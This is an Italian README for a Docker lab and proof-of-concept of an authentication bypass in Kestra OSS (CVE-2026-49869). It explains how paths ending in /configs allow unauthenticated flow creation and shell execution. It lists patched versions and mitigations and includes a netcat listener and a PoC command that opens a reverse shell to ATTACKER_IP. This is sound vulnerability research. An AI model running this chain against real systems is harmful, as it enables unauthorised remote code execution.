
PoC e laboratorio Docker per CVE-2026-49869, un RCE non autenticato in Kestra OSS tramite un bypass del percorso AuthenticationFilter che consente la creazione di flow e l'esecuzione di comandi.
★PoC e laboratorio Docker per il bypass dell'autenticazione in Kestra OSS AuthenticationFilter★
Esegui questo laboratorio solo su sistemi che controlli. L'esempio
-p 8080:8080potrebbe pubblicare l'API vulnerabile su tutte le interfacce dell'host; blocca l'accesso da altre reti.
https://github.com/user-attachments/assets/e8dc29f2-1fd2-49bb-9a61-3ae67ee69865
Kestra utilizza Basic Auth per proteggere la propria API. Nelle versioni OSS interessate, AuthenticationFilter considera qualsiasi percorso di richiesta che termina con /configs come endpoint di configurazione pubblico. Un client non autenticato può quindi creare un flow denominato configs e successivamente eseguirlo tramite percorsi API che terminano entrambi con /configs. Un task di shell in quel flow può eseguire comandi nel container worker di Kestra. Il difetto e la catena di RCE sono descritti nell'avviso di sicurezza di Kestra.
| Branch Kestra OSS | Versioni vulnerabili | Prima versione corretta |
|---|---|---|
| 1.0.x e precedenti | Precedenti a 1.0.45 | 1.0.45 |
| 1.1.x–1.3.x | Da 1.1.0 a 1.3.20 | 1.3.21 |
Il laboratorio utilizza v1.3.20 con Basic Auth OSS abilitata. Il problema interessa questo percorso di autenticazione quando l'API di Kestra è raggiungibile; l'immagine locale è basata su kestra/kestra:v1.3.20.
/configs; l'avviso descrive anche SSRF tramite un template di workflow.I privilegi del container non implicano privilegi sull'host.
Il repository dovrebbe contenere Dockerfile, entrypoint.sh e poc.py insieme a questo README. Docker è necessario per eseguire il target; Python 3 è necessario per il PoC. Non è necessario installare pacchetti Python.
docker build -t cve-2026-49869-lab .
docker run -d --name cve-2026-49869-lab -p 8080:8080 cve-2026-49869-lab
entrypoint.sh abilita Basic Auth con un account riservato al laboratorio:
| Username | Password |
|---|---|
[email protected] | Eqst123! |
Kestra richiede un username in formato email e una password con almeno otto caratteri, lettere maiuscole e minuscole e una cifra. Queste credenziali sono pubblicate solo per test locali.
Attendi finché la prima richiesta non restituisce 200. La seconda richiesta dovrebbe restituire 401, dimostrando che Basic Auth protegge un normale percorso API:
curl.exe -sS -o NUL -w "%{http_code}`n" http://127.0.0.1:8080/api/v1/configs
curl.exe -sS -o NUL -w "%{http_code}`n" http://127.0.0.1:8080/api/v1/main/flows/tutorial/notconfigs
Se un container arrestato ha già lo stesso nome, usa docker start cve-2026-49869-lab per riutilizzarlo, oppure rimuovi quel container prima di crearne uno nuovo con docker run.
Lo script invia due richieste senza credenziali: una crea o aggiorna configs/configs con un task di shell, e la successiva avvia la sua esecuzione. Non è necessario alcun flow creato dall'utente. Eseguire nuovamente lo script sostituisce il flow del laboratorio con lo stesso nome.
Per prima cosa, avvia un listener sulla macchina che riceverà la connessione della shell:
nc -lvnp LISTENER_PORT
Poi esegui il PoC dalla directory che contiene poc.py:
python poc.py http://TARGET:8080 --lhost ATTACKER_IP --lport LISTENER_PORT
Per un laboratorio Docker sulla stessa macchina, sostituisci TARGET con 127.0.0.1. Imposta ATTACKER_IP su un indirizzo IPv4 che il container può raggiungere; lo script non avvia il listener. Lo script stampa la risposta di esecuzione, incluso un ID di esecuzione. È necessaria una connessione sul listener per confermare che la reverse shell stessa abbia funzionato.
Il test locale registrato ha utilizzato un task Log innocuo per verificare il bypass dell'autenticazione e l'esecuzione del workflow. Non ha eseguito il payload della reverse shell.
| Verifica | v1.3.20 | v1.3.21 |
|---|---|---|
| API protetta ordinaria, senza credenziali | 401 | 401 |
Creazione del flow configs, senza credenziali | 200 | 401 |
Avvio dell'esecuzione di configs, senza credenziali | 200 | 401 |
| Task innocuo sulla versione vulnerabile | SUCCESS, marker nei log | — |
Il callback della reverse shell non fa parte di questi risultati registrati.
Aggiorna almeno a 1.0.45 sul branch 1.0.x o a 1.3.21 sui branch 1.1.x–1.3.x. La correzione upstream normalizza il percorso e verifica la route di configurazione pubblica esatta invece di accettare ogni suffisso /configs. Fino al completamento dell'aggiornamento, limita l'accesso all'API di Kestra e consenti l'accesso non autenticato solo alla route pubblica prevista tramite un proxy.
docker rm -f cve-2026-49869-lab
docker image rm cve-2026-49869-lab